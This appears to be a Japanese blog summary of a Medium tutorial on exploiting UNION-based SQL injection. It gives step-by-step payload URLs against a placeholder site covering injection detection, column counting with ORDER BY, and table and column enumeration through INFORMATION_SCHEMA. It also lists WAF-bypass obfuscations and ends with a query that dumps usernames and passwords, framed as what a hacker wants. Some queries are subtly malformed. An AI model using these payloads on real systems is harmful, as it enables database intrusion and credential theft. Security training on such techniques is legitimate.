Step-by-Step Guide on How to Find and Exploit SQLi Vulnerabilities から学ぶ

ソース:

medium.com

脆弱性

SQLi を見つけて活用するための流れまたは手順:

  1. SQL インジェクション脆弱性の検出と確認。
  2. SQL クエリのバランスをとる。
  3. ORDER BY を使用して列の数をカウントします。
  4. 脆弱な列にクエリを出力および挿入します。
  5. 現在のデータベースからテーブル名を抽出しています。
  6. 抽出されたテーブルから列を抽出します。
  7. 抽出された列からデータを抽出します。

各ステップの説明:

1.SQL インジェクション脆弱性の検出と確認:

通常、クエリを一重引用符で区切るだけで、特定のエンドポイントの SQLi を検出します( ','') 、二重引用符( ","")、傾き( `, ``), /*,#,;#など…シナリオのケースに完全に依存します。例:

 

www.xyz.com/content.php?id=10'

www.xyz.com/content.php?id=10 "

www.xyz.com/content.php?id=10 `

 

Web ページに何らかの軽微な変更または重大な変更が示された場合、そのエンドポイントに SQLi が存在する可能性があります。 

 

2. SQL クエリのバランスをとる:

www.xyz.com/content.php?id=10 '-- -

 

クエリのバランス調整は、単にコメントアウトするか、次のコマンドを使用することで実行できます。 -- , -- -,--+, and so on .

 

例: www.xyz.com/content.php?id=10 '-- -

クエリのバランスをとった後、ターゲットの Web ページは通常の状態 (クエリを中断する前と同じ) になります。

 

3. ORDER BY を使用して列の数をカウントします。

列数をカウントするには「ORDER BY」を使用します。これは反復的なプロセスです。 列数 = 27 としましょう。

次に、この「ORDER BY」プロセスを開始し、列数が見つかるまで 5 間隔で繰り返す。

例: ORDER BY 5 ,ORDER BY 10-- -,ORDER BY 15-- -,ORDER BY 20-- -,ORDER BY 25-- -,ORDER BY 5,ORDER BY 26-- -,ORDER BY 27-- -

例: www.xyz.com/content.php?id=10' ORDER BY 27-- -

 

NOTE: From

ORDER BY 5 to ORDER BY 25, the webPage will show a state that we already encountered when we balancing the query by -- -.And Once you reached to ORDER BY 30-- -,which exceeeds the number of columns that is 27.So,the page will show us a state we already encountered when we break the query by using '.Now,from our intuition we know that columns might be present in-between number 25 to 35.

 

4.脆弱な列へのクエリの出力と挿入:

列の数を数えた後、注入可能な列を見つけて出力する必要があります。
そのためには、UNION SELECT 1、2、3、4、5、6 などを実行するだけです…

注入可能な列が 6 で、「ORDER BY」を使用してカウントした列が 9 であるとします。したがって、クエリは次のようになります。 UNION SELECT 1,2,3,4,5,6,7,8,9-- -.

例: www.xyz.com/content.php?id=10' UNION SELECT 1,2,3,4,5,@@version,7,8,9-- -

注: この場合は 6 である注入可能カラムの位置を使用し、次のように置き換えます。 @@version.

 

5.現在のデータベースからテーブル名を抽出します。

通常、テーブル名を抽出するには TABLE_NAME を使用します。
クエリは次のようになります。

www.xyz.com/content.php?id=10' UNION SELECT 1,2,3,4,5,TABLE_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database()-- -,UNION SELECT 1,2,3,4,5,TABLE_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES-- -

database():Its a current database.

注: SQLi を防ぐために WAF は Union、select、table_name、information_schema.tables などのキーワードをブロックし、403 禁止リクエストに直面する可能性があります。
克服 するには、特殊文字の間にクエリを隠し、WAF をバイパスする他の手法を使用します
/*!50000uniOn*/+/*!50000SeLect*/、#####union#####,uni%0Bon,SeL%00ecT%00 など

 

6.抽出されたテーブルから列を抽出します。

www.xyz.com/content.php?id=10' UNION SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() AND TABLE_NAME="ADMIN"-- -,UNION SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES-- -,UNION SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database(),UNION SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1-- -,UNION SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1-- -,UNION SELECT 1,2,3,4,5,/*!50000COLUMN_NAME*,7,8,9+/*!50000FROM*/+/*!50000INFORMATION_SCHEMA*/.TABLES+/*!50000WHERE*/+/*!50000TABLE_SCHEMA=*//*!50000database() limit 1,1-- -

の概念を理解してください。 注:テーブルと列の構造ツリー

 

 

7.抽出された列からデータを抽出します。

ハッカーとして、パスワード認証情報、ログイン情報(ユーザー名&&パスワード)、管理者アクセスなどのユーザー機密データへのアクセスを本当に望んでいます。

table_name と column_name を取得したら、その列に格納されているデータ値を取得します。

FOR EXAMPLE: www.xyz.com/content.php?id=10'UNION SELECT 1,2,3,4,5,CONCAT(username,"-->",password,),7,8,9+FROM+USER-- -

column_name:username,password

table_name=USER

 

そして、Web 開発者は通常、信頼性を高めるためにデータを何らかの構造形式で編成。信頼性とは、読み取り、書き込み、理解が容易であることを意味します (user,admin,is_admin,user_id,user_pwd)。

この記事全体はすべて UNION BASED エラーとそのエクスプロイトに関するものですが、他の種類の SQL インジェクション (SQLi) とそのエクスプロイト (ERROR ベース、時間スリープ ベース(SLEEP(20))、BLIND ベース、BLIND-BOOLEAN ベースなど) もあります。 …

 

ほなほな。